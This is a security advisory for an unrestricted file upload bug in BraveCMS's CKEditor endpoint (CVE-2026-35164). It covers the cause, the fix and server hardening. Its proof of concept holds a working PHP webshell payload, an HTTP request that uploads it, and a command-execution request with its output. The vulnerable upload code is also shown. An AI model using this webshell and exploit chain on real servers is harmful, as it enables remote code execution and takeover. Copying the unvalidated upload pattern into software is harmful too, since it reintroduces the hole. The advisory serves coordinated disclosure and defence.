Back to advisories
CVE-2026-35164 GHSA-2j4q-6p52-4rhw High CVSS 8.8

Unrestricted File Upload via CKEditor Endpoint

BraveCMS 2.0.0 contains an unrestricted file upload vulnerability in the CKEditor ckupload endpoint. Any authenticated user with at least Author privileges can upload an executable PHP file disguised as an image, then request it directly from the public web root to gain Remote Code Execution as the web server user.

Affected: BraveCMS 2.0 Vendor: BraveCMS Discovered: Reported: Apr 2, 2026 Patched: Apr 2, 2026 Reporter: Paraschivoiu Alexandru
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Details

BraveCMS's CKEditor upload handler accepts arbitrary file types without validation. The ckupload method in CkEditorController.php relies entirely on user-supplied input to determine the file type, making it trivial for an authenticated user to upload a PHP script disguised as an image. Once uploaded, the file is stored in a publicly accessible directory and can be requested directly to achieve remote code execution on the server.


Details

Summary

Field Value
CVE ID CVE-2026-35164
Advisory GHSA-2j4q-6p52-4rhw
Severity High
CWE CWE-434 (Unrestricted Upload of File with Dangerous Type)
Package BraveCMS (PHP)
Affected 2.0.0
Patched 2.0.6
Vulnerability Unrestricted File Upload leading to RCE
Impact Remote Code Execution as web server user

The ckupload method in app/Http/Controllers/Dashboard/CkEditorController.php processes file uploads from the CKEditor rich text editor. It performs no validation of the uploaded file's actual type and makes no attempt to verify that the file content matches an expected image format. Because the upload destination is a publicly served directory under /images/articles/, any file placed there is directly accessible over HTTP. An attacker with Author-level privileges can upload a PHP webshell and execute arbitrary commands on the server by requesting the uploaded file.


How it works

The ckupload method stores the uploaded file using a name derived from an MD5 hash, but applies no extension filtering or MIME type validation:

// app/Http/Controllers/Dashboard/CkEditorController.php
public function ckupload(Request $request)
{
    // No validation: file type is taken entirely from user-supplied input
    $file = $request->file('upload');
    $filename = md5($file->getClientOriginalName()) . $file->getClientOriginalExtension();
    $file->move(public_path('images/articles'), $filename);

    return response()->json([
        'url' => asset('images/articles/' . $filename)
    ]);
}

The critical failure is the use of getClientOriginalExtension(), which reads the extension from the filename the client sent in the multipart Content-Disposition header. This value is fully attacker-controlled and is never cross-checked against the file's actual content or MIME type. The uploaded file lands in public/images/articles/, which the web server serves as static content, including .php files that PHP-FPM or mod_php will execute on request.


Root Cause

The upload handler trusts the client-supplied filename extension to determine what kind of file is being uploaded. No server-side validation of file content, MIME type, or extension against an allowlist is performed at any point. Storing executable files in a web-accessible directory without restricting script execution makes the impact immediate: upload and execute are a single step apart.


Prerequisites

  • A valid BraveCMS account with at least Author privileges.
  • Access to the dashboard and the CKEditor-enabled compose or edit interface.
  • No additional configuration or environmental condition is required.

Fix

Version 2.0.6 addresses this by enforcing strict server-side validation in the upload handler. The recommended implementation uses Laravel's built-in validation rules to restrict uploads to known-safe image types and replaces the client-supplied extension with one derived from the validated file itself:

// After (safe): server-side validation, no trust in client-supplied extension
public function ckupload(Request $request)
{
    $request->validate([
        'upload' => 'required|image|mimes:jpeg,jpg,png,gif|max:2048'
    ]);

    $file = $request->file('upload');

    // Use server-detected extension, not the client-supplied one
    $filename = md5(uniqid()) . '.' . $file->extension();
    $file->move(public_path('images/articles'), $filename);

    return response()->json([
        'url' => asset('images/articles/' . $filename)
    ]);
}

As an additional layer of defence, the web server should be configured to deny PHP execution in the upload directory entirely, so that even if a bypass is discovered later, uploaded files cannot be executed:

# Nginx: deny script execution in the upload directory
location ~* ^/images/articles/.*\.php$ {
    deny all;
}
# Apache: deny script execution in the upload directory
<Directory "/var/www/html/public/images/articles">
    php_flag engine off
    Options -ExecCGI
    RemoveHandler .php .php5 .phtml
</Directory>

Key Takeaways

  • Never trust client-supplied file metadata. getClientOriginalExtension() and getClientOriginalName() return values the attacker controls entirely. File type must always be determined server-side from the file content.
  • Upload directories must never execute scripts. Regardless of how thorough the upload validation is, the web server should be configured to treat the upload directory as static-only. This provides defence in depth if a bypass is found later.
  • Author-level access is not low risk. In CMS platforms, content editor roles often have access to upload endpoints. Treating these endpoints as low-privilege is a common mistake; they are a direct path to RCE if validation is absent.
  • Upgrade to 2.0.6 immediately. The patched version enforces both server-side MIME validation and safe extension derivation, eliminating the attack surface.

Proof of Concept

Proof of Concept Sanitized for safety
Note: This proof of concept is published for educational and defensive purposes after coordinated disclosure. Do not use it against systems you do not own or have explicit permission to test.

Log in as any user with Author privileges or above. Open a post or article editor that loads CKEditor. The image upload button sends files to POST /dashboard/ckupload.

Using an HTTP interception proxy, intercept the CKEditor image upload request and modify the multipart payload. Set the filename to shell.php, the Content-Type to image/png, and replace the file body with a PHP webshell:

POST /dashboard/ckupload HTTP/1.1
Host: target.example.com
Cookie: [authenticated session]
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="upload"; filename="shell.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>
------Boundary--

The server saves the file and responds with the public URL:

{
    "url": "http://target.example.com/images/articles/290dcbf2c7411d52b72ce5f4759f674f1.php"
}

Request the uploaded file and pass a command via the cmd parameter:

GET /images/articles/290dcbf2c7411d52b72ce5f4759f674f1.php?cmd=id HTTP/1.1
Host: target.example.com

The server responds with:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Start securing your codebase today

Connect your repositories and let AI agents handle continuous scanning, research, and triage.

Have questions? Get in touch →